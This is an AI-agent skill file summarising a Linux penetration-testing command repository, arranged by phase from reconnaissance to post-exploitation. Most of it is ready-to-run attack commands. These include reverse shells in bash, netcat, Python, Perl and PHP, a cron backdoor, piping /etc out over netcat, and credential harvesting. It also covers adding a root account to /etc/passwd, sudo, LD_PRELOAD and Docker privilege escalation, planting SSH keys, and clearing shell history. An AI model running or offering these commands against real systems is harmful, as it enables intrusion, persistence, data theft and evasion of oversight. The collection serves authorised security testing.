Imported from reason-machines/security-skills (skills/linux-pentesting-commands/SKILL.md). Install upstream with npx skills add reason-machines/security-skills --skill linux-pentesting-commands. Copyright stays with the author.

Linux Pentesting Commands Skill

Skill by ara.so — Security Skills collection.

This skill provides expertise in using the Linux-for-a-Pentester repository, a curated collection of practical Linux commands for penetration testing. The repository covers reconnaissance, enumeration, exploitation, privilege escalation, and post-exploitation phases with real-world command examples.

What This Project Does

Linux-for-a-Pentester is a knowledge base of shell commands organized by penetration testing phases:

• General Commands: Essential Linux survival commands
• Reconnaissance: Local and network discovery
• Enumeration: Service and user data deep-diving
• Exploitation: Initial access techniques
• Privilege Escalation: Getting root access
• Post-Exploitation: Persistence and lateral movement
• Cheatsheets: Quick reference one-liners

Installation

Clone the repository for offline reference:

git clone https://github.com/HIMANSHUSHARMA20/Linux-for-a-Pentester.git
cd Linux-for-a-Pentester

Or browse individual module directories as needed during engagements.

Repository Structure

Linux-for-a-Pentester/
├── 00-General-Commands/     # Basic Linux commands
├── 01-Recon/                # Reconnaissance techniques
├── 02-Enumeration/          # Service enumeration
├── 03-Exploitation/         # Exploitation methods
├── 04-Privilege-Escalation/ # PrivEsc techniques
├── 05-Post-Exploitation/    # Post-compromise actions
└── Cheatsheets/             # Quick reference guides

Key Command Categories

General Commands (00-General-Commands)

Essential commands for navigating and managing Linux systems:

# System information
uname -a                    # Kernel version and architecture
cat /etc/os-release         # Distribution information
hostname                    # System hostname
whoami                      # Current user
id                          # User and group IDs

# File operations
find / -name "*.conf" 2>/dev/null    # Find config files
grep -r "password" /etc 2>/dev/null  # Search for passwords
ls -la /home                         # List user directories
which python python3                 # Locate executables

# Process management
ps aux                      # List all processes
netstat -tulpn             # Network connections (deprecated)
ss -tulpn                  # Socket statistics (modern)
lsof -i :80                # Files/processes on port 80

Reconnaissance (01-Recon)

Local and network discovery commands:

# Network reconnaissance
ip a                        # Network interfaces (modern)
ifconfig                    # Network interfaces (legacy)
ip route                    # Routing table
arp -a                      # ARP cache
cat /etc/hosts              # Static host mappings
cat /etc/resolv.conf        # DNS configuration

# Port scanning
nc -zv 192.168.1.1 1-1000  # Port scan with netcat
for p in {1..1000}; do (echo >/dev/tcp/192.168.1.1/$p) 2>/dev/null && echo "$p open"; done

# User enumeration
cat /etc/passwd             # System users
cat /etc/group              # System groups
w                           # Logged in users
last                        # Login history
lastlog                     # Last login per user

# Environment
env                         # Environment variables
echo $PATH                  # Executable search path
history                     # Command history
cat ~/.bash_history         # Bash command history

Enumeration (02-Enumeration)

Deep service and configuration analysis:

# SUID/SGID files (privilege escalation vectors)
find / -perm -4000 -type f 2>/dev/null    # SUID binaries
find / -perm -2000 -type f 2>/dev/null    # SGID binaries
find / -perm -u=s -type f 2>/dev/null     # Alternative SUID search

# Capabilities
getcap -r / 2>/dev/null     # Files with capabilities

# Writable directories
find / -writable -type d 2>/dev/null           # All writable dirs
find / -perm -222 -type d 2>/dev/null          # World-writable dirs
find / -perm -o w -type d 2>/dev/null          # Others can write

# Cron jobs (scheduled tasks)
cat /etc/crontab            # System crontab
ls -la /etc/cron.*          # Cron directories
crontab -l                  # Current user's crontab
cat /var/spool/cron/crontabs/* 2>/dev/null

# Services and daemons
systemctl list-units --type=service    # SystemD services
service --status-all        # SysV init services
cat /etc/services           # Port to service mapping

# Installed software
dpkg -l                     # Debian/Ubuntu packages
rpm -qa                     # RedHat/CentOS packages
which gcc g++ python perl   # Compiler availability

Exploitation (03-Exploitation)

Initial access and shell techniques:

# Reverse shells
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
nc -e /bin/bash 10.10.10.10 4444
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# Shell upgrading
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then: Ctrl+Z, stty raw -echo; fg, export TERM=xterm

# File transfers
# On attacker: python3 -m http.server 8000
wget http://10.10.10.10:8000/exploit.sh
curl http://10.10.10.10:8000/exploit.sh -o exploit.sh
nc -lvp 4444 > received_file          # Receiver
nc 10.10.10.10 4444 < file_to_send    # Sender

# SSH techniques
ssh user@target -p 2222                # Custom port
ssh -i id_rsa user@target              # Key-based auth
ssh -L 8080:localhost:80 user@target   # Local port forward
ssh -D 9050 user@target                # SOCKS proxy

Privilege Escalation (04-Privilege-Escalation)

Commands for escalating to root:

# Sudo exploitation
sudo -l                     # Check sudo privileges
sudo -u#-1 /bin/bash        # CVE-2019-14287 (sudo < 1.8.28)

# Kernel exploits
uname -a                    # Kernel version
cat /proc/version           # Detailed kernel info
searchsploit kernel 4.4.0   # Search for kernel exploits

# Writable /etc/passwd
openssl passwd -1 -salt xyz password123
echo 'hacker:$1$xyz$hash:0:0:root:/root:/bin/bash' >> /etc/passwd

# Path hijacking
echo '/bin/bash' > /tmp/ls
chmod +x /tmp/ls
export PATH=/tmp:$PATH

# LD_PRELOAD exploitation
# Create malicious .so library
gcc -fPIC -shared -o /tmp/exploit.so exploit.c -nostartfiles
sudo LD_PRELOAD=/tmp/exploit.so program

# NFS no_root_squash
showmount -e target         # List NFS shares
mount -o rw target:/share /mnt
# Create SUID binary in mounted share

# Docker escape
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Post-Exploitation (05-Post-Exploitation)

Persistence and data exfiltration:

# Persistence
# SSH key installation
mkdir -p ~/.ssh
echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

# Cron backdoor
(crontab -l; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'") | crontab -

# Data exfiltration
tar czf - /etc | base64 | nc 10.10.10.10 4444
find /home -name "*.pdf" -exec cp {} /tmp/loot/ \;

# Credential harvesting
cat /home/*/.bash_history | grep -E 'ssh|mysql|password'
grep -r "password=" /var/www 2>/dev/null
find / -name "*.config" -o -name "*.conf" 2>/dev/null | xargs grep -i pass

# Cleanup
history -c                  # Clear session history
rm ~/.bash_history          # Remove history file
unset HISTFILE              # Disable history logging

Common Patterns

Automated Enumeration Scripts

# LinPEAS (Linux Privilege Escalation Awesome Script)
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash

# Or download and run:
wget http://attacker-ip:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# LinEnum
./LinEnum.sh -t  # Thorough tests

One-Liner Web Server

# Python 3
python3 -m http.server 8000

# Python 2
python -m SimpleHTTPServer 8000

# PHP
php -S 0.0.0.0:8000

# Ruby
ruby -run -ehttpd . -p8000

File Permission Checks

# Find files owned by specific user
find / -user www-data 2>/dev/null

# Find files with no owner
find / -nouser 2>/dev/null

# Recently modified files
find / -mtime -1 -type f 2>/dev/null

# Files modified in last 10 minutes
find / -mmin -10 -type f 2>/dev/null

Troubleshooting

Command Not Found

Problem: Common tools missing on target system.

Solution: Use alternatives or native shell built-ins:

# No netcat? Use bash:
bash -c 'exec 3<>/dev/tcp/10.10.10.10/4444; cat <&3 & cat >&3; kill $!'

# No wget/curl? Use scripting:
exec 3<>/dev/tcp/attacker-ip/80
echo -e "GET /file HTTP/1.0\n" >&3
cat <&3

Python Not Available

Problem: No Python installed for reverse shells.

Solution: Use other interpreters:

# Perl reverse shell
perl -e 'use Socket;$i="10.10.10.10";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# PHP reverse shell
php -r '$sock=fsockopen("10.10.10.10",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

Restricted Shell Escape

Problem: Stuck in restricted shell (rbash).

Solution: Common escape techniques:

# SSH with command execution
ssh user@target -t "bash --noprofile"

# Language interpreters
python -c 'import os; os.system("/bin/bash")'

# Vi/Vim escape
vi
:set shell=/bin/bash
:shell

# AWK escape
awk 'BEGIN {system("/bin/bash")}'

TTY Shell Issues

Problem: Non-interactive shell without tab completion.

Solution: Upgrade to full TTY:

# Method 1: Python
python -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

# Method 2: Script
/usr/bin/script -qc /bin/bash /dev/null

# Method 3: Expect
expect -c 'spawn /bin/bash; interact'

Best Practices

1. Always redirect stderr: Add 2>/dev/null to avoid permission errors cluttering output
2. Check alternatives: If modern tools fail, try legacy versions (e.g., netstat vs ss)
3. Document findings: Keep notes on what works for each target OS/version
4. Test safely: Understand command impact before running on production systems
5. Use full paths: Avoid PATH hijacking by using /usr/bin/command instead of command

Integration with Other Tools

These commands complement common pentesting tools:

# After nmap scan, enumerate further
nmap -sV -p- target -oN scan.txt
cat scan.txt | grep open

# Feed into exploitation frameworks
# Use discovered services with Metasploit, etc.

# Combine with automated scanners
nikto -h http://target
gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt

References

Navigate to specific directories in the repository for detailed command lists:

• /00-General-Commands/ - Basic Linux operations
• /01-Recon/ - Reconnaissance techniques
• /02-Enumeration/ - Enumeration commands
• /03-Exploitation/ - Exploitation methods
• /04-Privilege-Escalation/ - PrivEsc techniques
• /05-Post-Exploitation/ - Post-compromise actions
• /Cheatsheets/ - Quick reference guides

Repository: https://github.com/HIMANSHUSHARMA20/Linux-for-a-Pentester